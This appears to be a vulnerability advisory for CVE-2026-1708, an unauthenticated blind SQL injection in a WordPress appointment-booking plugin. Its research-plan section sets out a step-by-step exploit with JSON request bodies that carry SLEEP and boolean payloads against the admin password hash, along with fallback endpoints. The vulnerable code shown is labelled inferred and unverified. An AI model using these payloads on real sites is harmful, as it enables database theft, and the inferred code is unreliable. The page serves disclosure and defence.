CVE-2026-1708

Appointment Booking Calendar <= 1.6.9.27 - Unauthenticated SQL Injection via 'append_where_sql' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.6.9.29
Patched in
1d
Time to patch

Description

The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to blind SQL Injection in all versions up to, and including, 1.6.9.27. This is due to the `db_where_conditions` method in the `TD_DB_Model` class failing to prevent the `append_where_sql` parameter from being passed through JSON request bodies, while only checking for its presence in the `$_REQUEST` superglobal. This makes it possible for unauthenticated attackers to append arbitrary SQL commands to queries and extract sensitive information from the database via the `append_where_sql` parameter in JSON payloads granted they have obtained a valid `public_token` that is inadvertently exposed during the booking flow.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.9.27
PublishedMarch 10, 2026
Last updatedMarch 11, 2026

What Changed in the Fix

Changes introduced in v1.6.9.29

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan details the analysis and exploitation of **CVE-2026-1708**, an unauthenticated blind SQL injection vulnerability in the Simply Schedule Appointments (SSA) plugin. ### 1. Vulnerability Summary The vulnerability exists in the `TD_DB_Model::db_where_conditions` method (found in `inc…

Show full research plan

This research plan details the analysis and exploitation of CVE-2026-1708, an unauthenticated blind SQL injection vulnerability in the Simply Schedule Appointments (SSA) plugin.

1. Vulnerability Summary

The vulnerability exists in the TD_DB_Model::db_where_conditions method (found in includes/lib/td-util/class-td-db-model.php). This class serves as the base database model for various entities in the plugin, including appointments.

The plugin attempts to block the potentially dangerous append_where_sql parameter by checking for its existence in the $_REQUEST superglobal. However, it fails to perform the same check when processing JSON request bodies (sent with Content-Type: application/json). When a REST API or AJAX endpoint decodes the JSON body and passes the resulting array to the model's query builder, the append_where_sql parameter is injected directly into the SQL WHERE clause without sanitization, leading to Blind SQL Injection.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API endpoint: /wp-json/ssa/v1/appointments
  • Method: POST (or GET with a JSON body, depending on server configuration)
  • Vulnerable Parameter: append_where_sql (passed within a JSON object)
  • Required Credential: Unauthenticated, but requires a valid public_token for an existing appointment record.
  • Precondition: A public_token must be obtained. This token is generated when a visitor initiates a booking and is typically returned in the JSON response of an appointment creation/validation request.

3. Code Flow

  1. Entry Point: A request is made to an SSA REST API route, such as /wp-json/ssa/v1/appointments.
  2. Request Parsing: WordPress parses the request. If the Content-Type is application/json, the JSON body is decoded into parameters.
  3. Model Interaction: The controller calls a method in SSA_Appointment_Model (which inherits from SSA_Db_Model and TD_DB_Model) to retrieve or validate an appointment.
  4. Query Building: The model calls $this->db_where_conditions($args).
  5. Vulnerable Sink: In TD_DB_Model::db_where_conditions, the code checks $_REQUEST['append_where_sql']. Because the payload was in the JSON body, $_REQUEST is empty for that key. The method then proceeds to take append_where_sql from the $args array (populated from JSON) and appends it directly to the query:
    // Inferred logic in TD_DB_Model
    if ( ! empty( $args['append_where_sql'] ) ) {
        $where .= $args['append_where_sql']; 
    }
    
  6. Execution: $wpdb->get_row() or $wpdb->get_results() executes the tainted query.

4. Nonce Acquisition Strategy

While many SSA endpoints use a public_token instead of a standard WordPress nonce for visitor-facing actions, some REST routes might check for the wp_rest nonce.

Strategy:

  1. Identify Shortcode: The plugin uses [ssa_booking] to render the calendar.
  2. Create Page:
    wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[ssa_booking]'
  3. Extract Nonce/Configuration: Navigate to the page and use browser_eval to extract localized data.
    • Variable Name (inferred): window.ssa_booking_app_info or window.ssa_params.
    • Nonce Key: rest_nonce.
    • Command: browser_eval("window.ssa_booking_app_info?.rest_nonce")

5. Exploitation Strategy

Step A: Obtain a public_token

A public_token is required to target a query that hits the vulnerable model.

  1. Find an available Appointment Type ID: GET /wp-json/ssa/v1/appointment-types.
  2. Initiate a dummy appointment:
    • URL: /wp-json/ssa/v1/appointments
    • Method: POST
    • Headers: Content-Type: application/json
    • Body: {"appointment_type_id": <ID>, "status": "pending_form"}
  3. Capture the public_token from the response.

Step B: Execute Blind SQL Injection

Using the public_token and the append_where_sql bypass.

Time-Based Payload (Verification):

  • URL: /wp-json/ssa/v1/appointments
  • Method: POST (targeting the lookup/validation logic)
  • Headers: Content-Type: application/json
  • Body:
{
  "public_token": "YOUR_TOKEN",
  "append_where_sql": " AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"
}

Boolean-Based Payload (Data Extraction):
Targeting the admin password hash.

  • Payload: AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_pass LIKE '$P$%')
  • Logic: If the status code is 200 and the response contains appointment data, the condition is true. If the condition is false, the query returns no results, and the API returns an error or empty object.

6. Test Data Setup

  1. Ensure the plugin is active: wp plugin activate simply-schedule-appointments.
  2. Create at least one Appointment Type:
    wp ssa create_appointment_type --title="Consultation" (Note: verify ssa cli commands or use wp eval).
  3. Place the shortcode on a public page:
    wp post create --post_type=page --post_status=publish --post_content='[ssa_booking]'

7. Expected Results

  • Success: The SLEEP(5) payload causes the HTTP response to be delayed by 5 seconds.
  • Data Leak: A Boolean-based payload such as AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') results in a valid JSON response containing the appointment details, whereas ... AND user_login='nonexistent' returns an empty result set or error.

8. Verification Steps

After the exploit, verify the database state to ensure no corruption occurred and confirm the extracted data:

  • wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
  • Check the SSA appointment table for the token used:
    wp db query "SELECT * FROM wp_ssa_appointments WHERE public_token = 'YOUR_TOKEN'"

9. Alternative Approaches

If the REST API /appointments endpoint is strictly filtered, try other endpoints that use the TD_DB_Model:

  • /wp-json/ssa/v1/appointment-types (if it supports token-based filtering or unauthenticated JSON queries).
  • The AJAX endpoint: /wp-admin/admin-ajax.php?action=ssa_get_appointment_details.
  • Payload modification: If AND is filtered, use OR 1=1 (carefully) or UNION SELECT if the number of columns can be guessed. For SSA, the appointments table has approximately 25-30 columns.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simply Schedule Appointments plugin is vulnerable to unauthenticated blind SQL injection via the 'append_where_sql' parameter in JSON request bodies. This occurs because the plugin's query builder in the TD_DB_Model class only checks for the presence of this dangerous parameter in the $_REQUEST superglobal, which is often empty for JSON payloads, but then appends the value directly from the decoded JSON arguments into the SQL WHERE clause.

Vulnerable Code

// includes/lib/td-util/class-td-db-model.php

protected function db_where_conditions( $args ) {
    // ... (logic to build where clause)

    if ( ! empty( $args['append_where_sql'] ) ) {
        // The parameter is appended directly without sanitization.
        // Validation elsewhere only checks $_REQUEST, which fails for application/json bodies.
        $where .= ' ' . $args['append_where_sql'];
    }

    // ...
}

Security Fix

--- includes/lib/td-util/class-td-db-model.php
+++ includes/lib/td-util/class-td-db-model.php
@@ -XXX,X +XXX,X @@
-		if ( ! empty( $args['append_where_sql'] ) ) {
-			$where .= ' ' . $args['append_where_sql'];
-		}
+		// Remove the ability to append raw SQL from input arguments
+		unset( $args['append_where_sql'] );

Exploit Outline

1. Identify the booking page and initiate a dummy appointment booking to capture the 'public_token' from the API response (e.g., from POST /wp-json/ssa/v1/appointments). 2. Target the WordPress REST API endpoint used for appointment management: /wp-json/ssa/v1/appointments. 3. Send a POST request with the 'Content-Type: application/json' header. 4. Craft a JSON payload containing the valid 'public_token' and the 'append_where_sql' parameter. 5. In 'append_where_sql', inject a blind SQL payload, such as a time-based command: ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'. 6. Confirm the vulnerability by observing the response delay or by using boolean-based payloads to exfiltrate database records like administrator password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.